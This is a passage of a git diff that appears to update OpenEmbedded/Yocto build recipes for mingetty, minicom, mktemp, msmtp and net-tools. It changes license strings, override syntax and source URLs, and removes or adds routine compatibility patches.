+DESCRIPTION = "This is a small Linux console getty that is started on the Linux text console, asks for a login name and then tranfers over to login directory. Is extended to allow automatic login and starting any app."
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=0c56db0143f4f80c369ee3af7425af6e"
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.gz"
@@ -16,13 +16,14 @@ EXTRA_OEMAKE = "CC='${CC}' \
CFLAGS='${CFLAGS} -D_GNU_SOURCE'"
do_install(){
+ sed -i -e "s;SBINDIR=/sbin;SBINDIR=$base_sbindir;" ${S}/Makefile
install -d ${D}${mandir}/man8 ${D}/${base_sbindir}
oe_runmake install DESTDIR=${D}
}
inherit update-alternatives
-ALTERNATIVE_${PN} = "getty"
+ALTERNATIVE:${PN} = "getty"
ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
ALTERNATIVE_TARGET[getty] = "${base_sbindir}/mingetty"
ALTERNATIVE_PRIORITY = "10"
diff --git a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch b/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
deleted file mode 100644
index fec67fdd3f..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From d62a5862e26ed3fc58d789efe9c40ca6c911d36b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 31 Aug 2015 22:35:31 +0000
-Subject: [PATCH] Fix build issus surfaced due to musl
-
-src/getsdir.h:28:14: error: 'MAXNAMLEN' undeclared here (not in a function)
- char fname[MAXNAMLEN + 1]; /* filename + terminating null */
-
-src/dial.c:352:22: error: 'KIOCSOUND' undeclared (first use in this function)
-| ioctl(consolefd, KIOCSOUND, k);
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/dial.c | 2 +-
- src/getsdir.c | 1 +
- 2 files changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/dial.c b/src/dial.c
-index a90c1d2..bf02574 100644
---- a/src/dial.c
-+++ b/src/dial.c
-@@ -39,7 +39,7 @@
- #include "intl.h"
-
- #ifdef VC_MUSIC
--# if defined(__GLIBC__)
-+# if defined(__GLIBC__) || defined(__linux__)
- # include <sys/ioctl.h>
- # include <sys/kd.h>
- # include <sys/time.h>
-diff --git a/src/getsdir.c b/src/getsdir.c
-index 2195b27..b61a361 100644
---- a/src/getsdir.c
-+++ b/src/getsdir.c
-@@ -30,6 +30,7 @@
- #include <string.h>
- #include <sys/types.h>
- #include <sys/stat.h>
-+#include <sys/param.h>
- #include <errno.h>
-
- #include "getsdir.h"
---
-2.5.1
-
diff --git a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch b/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
deleted file mode 100644
index bd8261c979..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-Subject: [PATCH] fix minicom -h/-v return value is not 0
-
-Upstream-Status: Pending
-
-Signed-off-by: Lu Chong <Chong.Lu@windriver.com>
-
----
- src/minicom.c | 6 ++----
- 1 file changed, 2 insertions(+), 4 deletions(-)
-
-diff --git a/src/minicom.c b/src/minicom.c
-index e1a557b..730da7c 100644
---- a/src/minicom.c
-+++ b/src/minicom.c
-@@ -1166,15 +1166,13 @@ int main(int argc, char **argv)
- "modify it under the terms of the GNU General Public License\n"
- "as published by the Free Software Foundation; either version\n"
- "2 of the License, or (at your option) any later version.\n\n");
-- exit(1);
-- break;
-+ exit(0);
- case 's': /* setup mode */
- dosetup = 1;
- break;
- case 'h':
- helpthem();
-- exit(1);
-- break;
-+ exit(0);
- case 'p': /* Pseudo terminal to use. */
- if (strncmp(optarg, "/dev/", 5) == 0)
- optarg += 5;
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch b/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
deleted file mode 100644
index f5c08896ff..0000000000
--- a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
---- a/configure.in 2013-02-06 18:18:13.000000000 +0100
-+++ b/configure.in 2013-07-21 15:31:27.614828894 +0200
-@@ -40,7 +40,13 @@
- fi
-
- PKG_PROG_PKG_CONFIG
--if test -n "$PKG_CONFIG"; then
-+
-+AC_ARG_ENABLE([lockdev],
-+ AS_HELP_STRING([--enable-lockdev],
-+ [Enable lockdev support (def: enabled)]),
-+ [], [enable_lockdev="yes"])
-+
-+if test -n "$PKG_CONFIG" && test "x$enable_lockdev" = xyes; then
- PKG_CHECK_MODULES([LOCKDEV], [lockdev], AC_DEFINE([HAVE_LOCKDEV],[1],[Define if you have lockdev]),[:])
- fi
-
diff --git a/meta/recipes-extended/minicom/minicom_2.7.1.bb b/meta/recipes-extended/minicom/minicom_2.9.bb
index 1a31a872d6..907d5c79c9 100644
--- a/meta/recipes-extended/minicom/minicom_2.7.1.bb
+++ b/meta/recipes-extended/minicom/minicom_2.9.bb
@@ -1,22 +1,15 @@
SUMMARY = "Text-based modem control and terminal emulation program"
-HOMEPAGE = "http://alioth.debian.org/projects/minicom/"
+HOMEPAGE = "https://salsa.debian.org/minicom-team/minicom"
DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems"
SECTION = "console/network"
DEPENDS = "ncurses virtual/libiconv"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \
file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81"
-SRC_URI = "https://alioth.debian.org/frs/download.php/latestfile/3/${BP}.tar.gz \
- file://allow.to.disable.lockdev.patch \
- file://0001-fix-minicom-h-v-return-value-is-not-0.patch \
- file://0001-Fix-build-issus-surfaced-due-to-musl.patch \
- "
+SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.bz2"
-SRC_URI[md5sum] = "9021cb8c5445f6e6e74b2acc39962d62"
-SRC_URI[sha256sum] = "532f836b7a677eb0cb1dca8d70302b73729c3d30df26d58368d712e5cca041f1"
-
-UPSTREAM_CHECK_URI = "https://alioth.debian.org/frs/?group_id=30018"
+SRC_URI[sha256sum] = "9efbb6458140e5a0de445613f0e76bcf12cbf7a9892b2f53e075c2e7beaba86c"
PACKAGECONFIG ??= ""
PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev"
@@ -27,3 +20,6 @@ do_install() {
for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done
}
+RRECOMMENDS:${PN} += "lrzsz"
+
+RDEPENDS:${PN} += "ncurses-terminfo-base"
diff --git a/meta/recipes-extended/mktemp/files/disable-strip.patch b/meta/recipes-extended/mktemp/files/disable-strip.patch
deleted file mode 100644
index e06869e3ad..0000000000
--- a/meta/recipes-extended/mktemp/files/disable-strip.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-diff --git a/Makefile.in b/Makefile.in
-index 37b3cc9..f1026f3 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -95,7 +95,7 @@ install-dirs:
- $(DESTDIR)$(mandir)/man1
-
- install-binaries: $(PROG)
-- $(INSTALL) -m 0555 -s $(PROG) $(DESTDIR)$(bindir)/$(PROG)
-+ $(INSTALL) -m 0555 $(PROG) $(DESTDIR)$(bindir)/$(PROG)
-
- install-man:
- $(INSTALL) -m 0444 $(srcdir)/mktemp.$(mantype) \
diff --git a/meta/recipes-extended/mktemp/files/fix-parallel-make.patch b/meta/recipes-extended/mktemp/files/fix-parallel-make.patch
deleted file mode 100644
index f3b6dcc34a..0000000000
--- a/meta/recipes-extended/mktemp/files/fix-parallel-make.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-This fixes the parallel make install failure
-
-Upstream-Status: Accepted
-http://www.gratisoft.us/bugzilla/show_bug.cgi?id=528
-
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Index: mktemp-1.7/Makefile.in
-===================================================================
---- mktemp-1.7.orig/Makefile.in
-+++ mktemp-1.7/Makefile.in
-@@ -94,10 +94,10 @@ install-dirs:
- $(SHELL) $(srcdir)/mkinstalldirs $(DESTDIR)$(bindir) \
- $(DESTDIR)$(mandir)/man1
-
--install-binaries: $(PROG)
-+install-binaries: install-dirs $(PROG)
- $(INSTALL) -m 0555 $(PROG) $(DESTDIR)$(bindir)/$(PROG)
-
--install-man:
-+install-man: install-dirs
- $(INSTALL) -m 0444 $(srcdir)/mktemp.$(mantype) \
- $(DESTDIR)$(mandir)/man1/mktemp.1
-
diff --git a/meta/recipes-extended/mktemp/mktemp_1.7.bb b/meta/recipes-extended/mktemp/mktemp_1.7.bb
deleted file mode 100644
index e8ae5c6b72..0000000000
--- a/meta/recipes-extended/mktemp/mktemp_1.7.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-SUMMARY = "Enables safe temporary file creation from shell scripts"
-HOMEPAGE = "http://www.mktemp.org/"
-BUGTRACKER = "http://www.mktemp.org/bugs"
-SECTION = "console/utils"
-LICENSE = "ISC"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=430680f6322a1eb87199b5e01a82c0d4"
-
-PR = "r3"
-
-SRC_URI = "ftp://ftp.mktemp.org/pub/mktemp/${BPN}-${PV}.tar.gz \
- file://disable-strip.patch \
- file://fix-parallel-make.patch \
- "
-
-SRC_URI[md5sum] = "787bbed9fa2ee8e7645733c0e8e65172"
-SRC_URI[sha256sum] = "8e94b9e1edf866b2609545da65b627996ac5d158fda071e492bddb2f4a482675"
-
-inherit autotools update-alternatives
-
-EXTRA_OECONF = "--with-libc"
-
-do_install_append () {
- if [ "${base_bindir}" != "${bindir}" ] ; then
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/mktemp ${D}${base_bindir}/mktemp
- rmdir ${D}${bindir}
- fi
-}
-
-ALTERNATIVE_${PN} = "mktemp"
-ALTERNATIVE_LINK_NAME[mktemp] = "${base_bindir}/mktemp"
-ALTERNATIVE_PRIORITY = "60"
-
-ALTERNATIVE_${PN}-doc = "mktemp.1"
-ALTERNATIVE_PRIORITY_${PN}-doc = "300"
-ALTERNATIVE_LINK_NAME[mktemp.1] = "${mandir}/man1/mktemp.1"
diff --git a/meta/recipes-extended/msmtp/msmtp_1.6.6.bb b/meta/recipes-extended/msmtp/msmtp_1.6.6.bb
deleted file mode 100644
index e1721936cb..0000000000
--- a/meta/recipes-extended/msmtp/msmtp_1.6.6.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "msmtp is an SMTP client"
-DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
-HOMEPAGE = "http://msmtp.sourceforge.net/"
-SECTION = "console/network"
-
-LICENSE = "GPLv3"
-DEPENDS = "zlib gnutls"
-
-#COPYING or Licence
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "http://sourceforge.net/projects/msmtp/files/msmtp/${PV}/${BPN}-${PV}.tar.xz \
- "
-
-SRC_URI[md5sum] = "82b0520b57db4b2cf05333d11fb5974d"
-SRC_URI[sha256sum] = "da15db1f62bd0201fce5310adb89c86188be91cd745b7cb3b62b81a501e7fb5e"
-
-inherit gettext autotools update-alternatives pkgconfig
-
-EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
-
-ALTERNATIVE_${PN} = "sendmail"
-ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
-ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
-ALTERNATIVE_PRIORITY = "100"
-
-pkg_postinst_${PN}_linuxstdbase () {
- # /usr/lib/sendmial is required by LSB core test
- [ ! -L $D/usr/lib/sendmail ] && ln -sf ${sbindir}/sendmail $D/usr/lib/
-}
diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.25.bb b/meta/recipes-extended/msmtp/msmtp_1.8.25.bb
new file mode 100644
index 0000000000..b575fad5e1
--- /dev/null
+++ b/meta/recipes-extended/msmtp/msmtp_1.8.25.bb
@@ -0,0 +1,27 @@
+SUMMARY = "msmtp is an SMTP client"
+DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
+HOMEPAGE = "https://marlam.de/msmtp/"
+SECTION = "console/network"
+
+LICENSE = "GPL-3.0-only"
+DEPENDS = "zlib gnutls"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
+
+SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
+SRC_URI[sha256sum] = "2dfe1dbbb397d26fe0b0b6b2e9cd2efdf9d72dd42d18e70d7f363ada2652d738"
+
+inherit gettext autotools update-alternatives pkgconfig
+
+EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
+
+ALTERNATIVE:${PN} = "sendmail"
+# /usr/lib/sendmial is required by LSB core test
+ALTERNATIVE:${PN}:linuxstdbase = "sendmail usr-lib-sendmail"
+ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
+ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
+ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp"
+ALTERNATIVE_LINK_NAME[usr-lib-sendmail] = "/usr/lib/sendmail"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch b/meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch
deleted file mode 100644
index 8be45ccac9..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch
+++ /dev/null
@@ -1,87 +0,0 @@
-From 08abfcd923e9f37d1902db26771b1dc6731eb265 Mon Sep 17 00:00:00 2001
-From: Jiri Popelka <jpopelka@redhat.com>
-Date: Fri, 27 Sep 2013 18:40:06 +0200
-Subject: [PATCH 1/1] lib/inet6.c:INET6_rresolve() - various fixes
-
-1) Fall-back to numeric address if getnameinfo fails.
- Reverse lookup is not mandatory, therefore its fail
- is not an error. Just return numeric address in that case.
- This makes netstat/route show IPv6 address instead of
- [UNKNOWN] in case of DNS problems.
-
-2) Pass length of 'name' buffer into function.
- 'name' is a pointer and therefore sizeof(name)
- returns size of pointer and not size of the buffer.
- see http://stackoverflow.com/questions/14298710/c-pointers-and-arrays-sizeof-operator
- The sizeof() usage was added with commit 604785adc,
- so I checked all the other changes in that commit
- and they seem to be OK.
-
-3) remove unused 's' variable
-
-Upstream-Status: Pending
-
-Signed-off-by: Shan Hai <shan.hai@windriver.com>
-Signed-off-by: Jianchuan Wang <jianchuan.wang@windriver.com>
----
- lib/inet6.c | 21 ++++++++++-----------
- 1 file changed, 10 insertions(+), 11 deletions(-)
-
-diff --git a/lib/inet6.c b/lib/inet6.c
-index 9a484a0..2a9c459 100644
---- a/lib/inet6.c
-+++ b/lib/inet6.c
-@@ -84,10 +84,9 @@ static int INET6_resolve(char *name, struct sockaddr_in6 *sin6)
- #endif
-
-
--static int INET6_rresolve(char *name, struct sockaddr_in6 *sin6, int numeric)
-+static int INET6_rresolve(char *name, size_t namelen,
-+ struct sockaddr_in6 *sin6, int numeric)
- {
-- int s;
--
- /* Grmpf. -FvK */
- if (sin6->sin6_family != AF_INET6) {
- #ifdef DEBUG
-@@ -98,21 +97,20 @@ static int INET6_rresolve(char *name, struct sockaddr_in6 *sin6, int numeric)
- return (-1);
- }
- if (numeric & 0x7FFF) {
-- inet_ntop( AF_INET6, &sin6->sin6_addr, name, 80);
-+ inet_ntop( AF_INET6, &sin6->sin6_addr, name, namelen);
- return (0);
- }
- if (IN6_IS_ADDR_UNSPECIFIED(&sin6->sin6_addr)) {
- if (numeric & 0x8000)
-- strcpy(name, "default");
-+ safe_strncpy(name, "default", namelen);
- else
-- strcpy(name, "[::]");
-+ safe_strncpy(name, "[::]", namelen);
- return (0);
- }
-
-- if ((s = getnameinfo((struct sockaddr *) sin6, sizeof(struct sockaddr_in6),
-- name, 255 /* !! */ , NULL, 0, 0))) {
-- fputs("getnameinfo failed\n", stderr);
-- return -1;
-+ if (getnameinfo((struct sockaddr *) sin6, sizeof(struct sockaddr_in6),
-+ name, namelen , NULL, 0, 0)) {
-+ inet_ntop( AF_INET6, &sin6->sin6_addr, name, namelen);
- }
- return (0);
- }
-@@ -143,7 +141,8 @@ static char *INET6_sprint(struct sockaddr *sap, int numeric)
-
- if (sap->sa_family == 0xFFFF || sap->sa_family == 0)
- return safe_strncpy(buff, _("[NONE SET]"), sizeof(buff));
-- if (INET6_rresolve(buff, (struct sockaddr_in6 *) sap, numeric) != 0)
-+ if (INET6_rresolve(buff, sizeof(buff),
-+ (struct sockaddr_in6 *) sap, numeric) != 0)
- return safe_strncpy(buff, _("[UNKNOWN]"), sizeof(buff));
- return (fix_v4_address(buff, &((struct sockaddr_in6 *)sap)->sin6_addr));
- }
---
-1.8.5.2.233.g932f7e4
-
diff --git a/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch b/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch
new file mode 100644
index 0000000000..f15d3654c7
--- /dev/null
+++ b/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch
@@ -0,0 +1,15 @@
+Description: Add missing headers
+
+Upstream-Status: Pending
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+
+--- a/netstat.c
++++ b/netstat.c
+@@ -88,6 +88,7 @@
+ #include <sys/stat.h>
+ #include <net/if.h>
+ #include <dirent.h>
++#include <sys/types.h>
+
+ #include "net-support.h"
+ #include "pathnames.h"
diff --git a/meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch b/meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch
deleted file mode 100644
index 06f81420e9..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 81814dc2b14843009193efd307d814c26baa61f0 Mon Sep 17 00:00:00 2001
-From: Jiri Popelka <jpopelka@redhat.com>
-Date: Wed, 7 Dec 2011 19:14:09 +0100
-Subject: [PATCH] ifconfig interface:0 del <IP> will remove the aliased IP on IA64
-
-Upstream-Status: Backport
-
-commit 81814dc2b14843009193efd307d814c26baa61f0 from
-git://git.code.sf.net/p/net-tools/code
-
----
- ifconfig.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/ifconfig.c b/ifconfig.c
-index bc405c6..dae8922 100644
---- a/ifconfig.c
-+++ b/ifconfig.c
-@@ -890,7 +890,9 @@ int main(int argc, char **argv)
- continue;
- }
-
-- memcpy(&ip, &sin.sin_addr.s_addr, sizeof(unsigned long));
-+ /* Clear "ip" in case sizeof(unsigned long) > sizeof(sin.sin_addr.s_addr) */
-+ ip = 0;
-+ memcpy(&ip, &sin.sin_addr.s_addr, sizeof(sin.sin_addr.s_addr));
-
- if (get_nmbc_parent(ifr.ifr_name, &nm, &bc) < 0) {
- fprintf(stderr, _("Interface %s not initialized\n"),
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/net-tools/net-tools/musl-fixes.patch b/meta/recipes-extended/net-tools/net-tools/musl-fixes.patch
deleted file mode 100644
index f694d594bf..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/musl-fixes.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-Adjust headers for non-glibc cases
-especially exposed by musl
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: net-tools-1.60/lib/inet6_gr.c
-===================================================================
---- net-tools-1.60.orig/lib/inet6_gr.c
-+++ net-tools-1.60/lib/inet6_gr.c
-@@ -23,7 +23,7 @@
- #include <string.h>
- #include <stdio.h>
- #include <unistd.h>
--#ifndef __GLIBC__
-+#ifdef HAVE_IPV6_ROUTE_H
- #include <netinet6/ipv6_route.h> /* glibc doesn't have this */
- #endif
- #include "version.h"
-Index: net-tools-1.60/lib/inet6_sr.c
-===================================================================
---- net-tools-1.60.orig/lib/inet6_sr.c
-+++ net-tools-1.60/lib/inet6_sr.c
-@@ -23,10 +23,10 @@
- #include <string.h>
- #include <stdio.h>
- #include <unistd.h>
--#ifdef __GLIBC__
--#include <net/route.h>
--#else
-+#ifdef HAVE_IPV6_ROUTE_H
- #include <netinet6/ipv6_route.h> /* glibc does not have this */
-+#else
-+#include <net/route.h>
- #endif
- #include "version.h"
- #include "net-support.h"
-Index: net-tools-1.60/lib/inet_sr.c
-===================================================================
---- net-tools-1.60.orig/lib/inet_sr.c
-+++ net-tools-1.60/lib/inet_sr.c
-@@ -26,6 +26,7 @@
- #include <string.h>
- #include <stdio.h>
- #include <unistd.h>
-+#include <asm-generic/param.h>
- #include "version.h"
- #include "net-support.h"
- #include "pathnames.h"
-Index: net-tools-1.60/lib/util-ank.c
-===================================================================
---- net-tools-1.60.orig/lib/util-ank.c
-+++ net-tools-1.60/lib/util-ank.c
-@@ -14,6 +14,7 @@
- * Rani Assaf <rani@magic.metawire.com> 980929: resolve addresses
- */
-
-+#include <limits.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-Index: net-tools-1.60/mii-tool.c
-===================================================================
---- net-tools-1.60.orig/mii-tool.c
-+++ net-tools-1.60/mii-tool.c
-@@ -47,10 +47,6 @@ static char Version[] = "$Id: mii-tool.c
- #include <net/if.h>
- #include <linux/sockios.h>
-
--#ifndef __GLIBC__
--#include <linux/if_arp.h>
--#include <linux/if_ether.h>
--#endif
- #include "mii.h"
- #include "version.h"
-
-Index: net-tools-1.60/netstat.c
-===================================================================
---- net-tools-1.60.orig/netstat.c
-+++ net-tools-1.60/netstat.c
-@@ -87,6 +87,7 @@
- #include <dirent.h>
- #include <sys/stat.h>
- #include <sys/types.h>
-+#include <asm-generic/param.h>
-
- #include "net-support.h"
- #include "pathnames.h"
-Index: net-tools-1.60/slattach.c
-===================================================================
---- net-tools-1.60.orig/slattach.c
-+++ net-tools-1.60/slattach.c
-@@ -44,6 +44,7 @@
- #include <string.h>
- #include <unistd.h>
- #include <getopt.h>
-+#include <termios.h>
- #include <linux/if_slip.h>
-
- #if defined(__GLIBC__)
diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch
deleted file mode 100644
index 12eed17af4..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch
+++ /dev/null
@@ -1,638 +0,0 @@
-From 23276afe270009420cfbc52bffafdd25ac0817fe Mon Sep 17 00:00:00 2001
-From: Li Zhou <li.zhou@windriver.com>
-Date: Thu, 14 Jan 2016 17:01:29 +0800
-Subject: [PATCH 1/3] net-tools: add SCTP support for netstat
-
-Upstream-Status: pending
-
-Signed-off-by: Li Zhou <li.zhou@windriver.com>
----
- netstat.c | 411 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
- statistics.c | 68 +++++++++-
- 2 files changed, 465 insertions(+), 14 deletions(-)
-
-diff --git a/netstat.c b/netstat.c
-index 1fb9e0c..5d1a4a1 100644
---- a/netstat.c
-+++ b/netstat.c
-@@ -58,6 +58,7 @@
- *
- *990420 {1.38} Tuan Hoang removed a useless assignment from igmp_do_one()
- *20010404 {1.39} Arnaldo Carvalho de Melo - use setlocale
-+ *20050516 {1.40} Ivan Skytte Joergensen:Added SCTP support
- *
- * This program is free software; you can redistribute it
- * and/or modify it under the terms of the GNU General
-@@ -105,7 +106,7 @@
- #endif
-
- /* prototypes for statistics.c */
--void parsesnmp(int, int, int);
-+void parsesnmp(int, int, int, int);
- void inittab(void);
- void parsesnmp6(int, int, int);
- void inittab6(void);
-@@ -118,6 +119,28 @@ typedef enum {
- SS_DISCONNECTING /* in process of disconnecting */
- } socket_state;
-
-+#define SCTP_NSTATES 9 /* The number of states in array*/
-+
-+static const char *sctp_state[] = {
-+ N_("EMPTY"),
-+ N_("CLOSED"),
-+ N_("COOKIE_WAIT"),
-+ N_("COOKIE_ECHOED"),
-+ N_("ESTABLISHED"),
-+ N_("SHUTDOWN_PENDING"),
-+ N_("SHUTDOWN_SENT"),
-+ N_("SHUTDOWN_RECEIVED"),
-+ N_("SHUTDOWN_ACK_SENT")
-+};
-+
-+#define SCTP_NTYPES 3 /* The number of types in array */
-+
-+static const char *sctp_type[] = {
-+ N_("udp"),
-+ N_("udp-high-bw"),
-+ N_("tcp")
-+};
-+
- #define SO_ACCEPTCON (1<<16) /* performed a listen */
- #define SO_WAITDATA (1<<17) /* wait data to read */
- #define SO_NOSPACE (1<<18) /* no space to write */
-@@ -148,6 +171,7 @@ int flag_opt = 0;
- int flag_raw = 0;
- int flag_tcp = 0;
- int flag_udp = 0;
-+int flag_sctp= 0;
- int flag_igmp= 0;
- int flag_rom = 0;
- int flag_exp = 1;
-@@ -990,6 +1014,365 @@ static int udp_info(void)
- udp_do_one);
- }
-
-+static const char *sctp_socket_type_str(int type) {
-+ if(type>=0 && type<SCTP_NTYPES)
-+ return sctp_type[type];
-+ else {
-+ static char type_str_buf[64];
-+ sprintf(type_str_buf,"UNKNOWN(%d)",type);
-+ return type_str_buf;
-+ }
-+}
-+
-+static const char *sctp_state_str(int state)
-+{
-+ if(state>=0 && state<SCTP_NSTATES)
-+ return sctp_state[state];
-+ else {
-+ static char state_str_buf[64];
-+ sprintf(state_str_buf,"UNKNOWN(%d)",state);
-+ return state_str_buf;
-+ }
-+}
-+
-+static const char *sctp_socket_state_str(int state)
-+{
-+ if(state>=0 && state<=10)
-+ return tcp_state[state];
-+ else {
-+ static char state_str_buf[64];
-+ sprintf(state_str_buf,"UNKNOWN(%d)",state);
-+ return state_str_buf;
-+ }
-+}
-+
-+static struct aftype *process_sctp_addr_str(const char *addr_str, struct sockaddr *sa)
-+{
-+ if (strchr(addr_str,':')) {
-+#if HAVE_AFINET6
-+ extern struct aftype inet6_aftype;
-+ /* Demangle what the kernel gives us */
-+ struct in6_addr in6;
-+ char addr6_str[INET6_ADDRSTRLEN];
-+ unsigned u0,u1,u2,u3,u4,u5,u6,u7;
-+ sscanf(addr_str, "%04X:%04X:%04X:%04X:%04X:%04X:%04X:%04X",
-+ &u0, &u1, &u2, &u3, &u4, &u5, &u6, &u7);
-+ in6.s6_addr16[0] = htons(u0);
-+ in6.s6_addr16[1] = htons(u1);
-+ in6.s6_addr16[2] = htons(u2);
-+ in6.s6_addr16[3] = htons(u3);
-+ in6.s6_addr16[4] = htons(u4);
-+ in6.s6_addr16[5] = htons(u5);
-+ in6.s6_addr16[6] = htons(u6);
-+ in6.s6_addr16[7] = htons(u7);
-+
-+ inet_ntop(AF_INET6, &in6, addr6_str, sizeof(addr6_str));
-+ inet6_aftype.input(1, addr6_str, sa);
-+ sa->sa_family = AF_INET6;
-+#endif
-+ } else {
-+ ((struct sockaddr_in*)sa)->sin_addr.s_addr = inet_addr(addr_str);
-+ sa->sa_family = AF_INET;
-+ }
-+ return get_afntype(sa->sa_family);
-+}
-+
-+static void sctp_eps_do_one(int lnr, char *line)
-+{
-+ char buffer[1024];
-+ int type, state, port;
-+ int uid;
-+ unsigned long inode;
-+
-+ struct aftype *ap;
-+#if HAVE_AFINET6
-+ struct sockaddr_in6 localaddr;
-+#else
-+ struct sockaddr_in localaddr;
-+#endif
-+ const char *sty_str;
-+ const char *sst_str;
-+ const char *lport_str;
-+ const char *uid_str;
-+ const char *inode_str;
-+ const char *pladdr_str;
-+ char *laddrs_str;
-+
-+ if(lnr == 0) {
-+ /* ENDPT SOCK STY SST HBKT LPORT uid inode pladdr LADDRS*/
-+ return;
-+ }
-+
-+ strtok(line," \t\n"); /*skip ptr*/
-+ strtok(0," \t\n"); /*skip ptr*/
-+ sty_str = strtok(0," \t\n");
-+ sst_str = strtok(0," \t\n");
-+ strtok(0," \t\n"); /*skip hash bucket*/
-+ lport_str=strtok(0," \t\n");
-+ uid_str = strtok(0," \t\n");
-+ inode_str = strtok(0," \t\n");
-+ pladdr_str = strtok(0," \t\n");
-+ laddrs_str=strtok(0,"\t\n");
-+
-+ type = atoi(sty_str);
-+ state = atoi(sst_str);
-+ port = atoi(lport_str);
-+ uid = atoi(uid_str);
-+ inode = strtoul(inode_str,0,0);
-+
-+ if(flag_sctp<=1) {
-+ /* only print the primary address */
-+ char local_addr[64];
-+ char local_port[16];
-+
-+ ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not),
-+ sizeof(local_addr));
-+ else
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(port), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+
-+ printf("sctp ");
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ printf("%-47s", buffer);
-+ printf(" %-12s", sctp_socket_state_str(state));
-+ } else {
